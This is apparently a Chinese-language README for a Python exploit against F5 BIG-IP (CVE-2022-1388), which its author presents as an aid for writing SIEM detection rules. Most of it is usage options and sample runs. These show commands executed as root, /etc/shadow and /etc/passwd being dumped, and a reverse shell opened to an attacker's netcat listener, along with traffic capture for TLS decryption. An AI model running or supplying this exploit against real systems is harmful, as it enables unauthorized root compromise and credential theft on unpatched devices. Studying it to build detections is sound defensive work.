作者不对使用本项目或仓库中的任何方面所采取的任何行为负责或承担责任。我创建此项目是为了理解该攻击以及在SIEM中编写检测规则,并希望分享给其他人以做同样的事情。使用风险自负。
此漏洞利用程序针对F5 Systems的BIG-IP iControl REST漏洞CVE-2022-1388。请参阅F5公告(https://support.f5.com/csp/article/K23605346)了解受影响版本及其他信息。
欢迎提交PR或报告任何问题。此程序已在Google Cloud中的几个易受攻击的F5 VE上从一台CentOS机器使用Python 3.6进行了测试。
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]
可选参数:
-h, --help 显示此帮助信息并退出
-t TARGET, --target TARGET, --RHOSTS TARGET
目标易受攻击的BIG-IP系统IP地址
-p PORT, --port PORT, --RPORT PORT
目标易受攻击的BIG-IP系统端口
-c CMD, --cmd CMD, --command CMD
在目标系统上执行的命令
-e, --export, --tcpdump
导出捕获的流量和ssl-key.log | **需要sudo权限!
-q, --quiet 不显示横幅
-s, --shell 启动交互式Shell
-lh LHOST, --lhost LHOST, --LHOST LHOST
使用-s [shell]时需要;绑定监听器的本地IP/接口
-lp LPORT, --lport LPORT, --LPORT LPORT
使用-s [shell]时需要;绑定监听器的本地端口
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id
===============================================================================================================
[+] CVE-2022-1388 漏洞利用程序,影响 F5 BIG-IP
[+] 作者: vaelwolf
[+] 修复措施:
请升级至厂商公告中提到的已修复版本:https://support.f5.com/csp/article/K23605346
[!] 仅供教育用途!使用风险自负。
===============================================================================================================
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ 为简洁起见已删除 ]]
攻击者:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444
===============================================================================================================
[+] CVE-2022-1388 漏洞利用程序,影响 F5 BIG-IP
[+] 作者: vaelwolf
[+] 修复措施:
请升级至厂商公告中提到的已修复版本:https://support.f5.com/csp/article/K23605346
[!] 仅供教育用途!使用风险自负。
===============================================================================================================
[+] 如果您尚未启动,请先在端口4444上启动您选择的监听器
[+] 按任意键继续...
[+] 漏洞利用已完成。如果您启动了反弹Shell监听器,请在那里检查您的终端!
监听器:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root
指定 -e(--export)标志将创建两个文件:detection.pcap 和 ssl-key.log。每次指定 -e 标志时,这些文件都会被覆盖,因此请记住移动或重命名您希望保留的文件。ssl-key.log 可以通过 首选项 -> 协议 -> TLS -> (Pre)-Master-Secret 日志文件名 导入到Wireshark中以解密TLS会话。请注意,由于tcpdump的原因,使用 -e 时,脚本必须以sudo权限运行。
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] 在端口8443上启动tcpdump,持续5秒
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ 为简洁起见已删除 ]]
TLS解密前:
将自动导出的 ssl-key.log 添加到Wireshark的TLS首选项中:
TLS解密后:
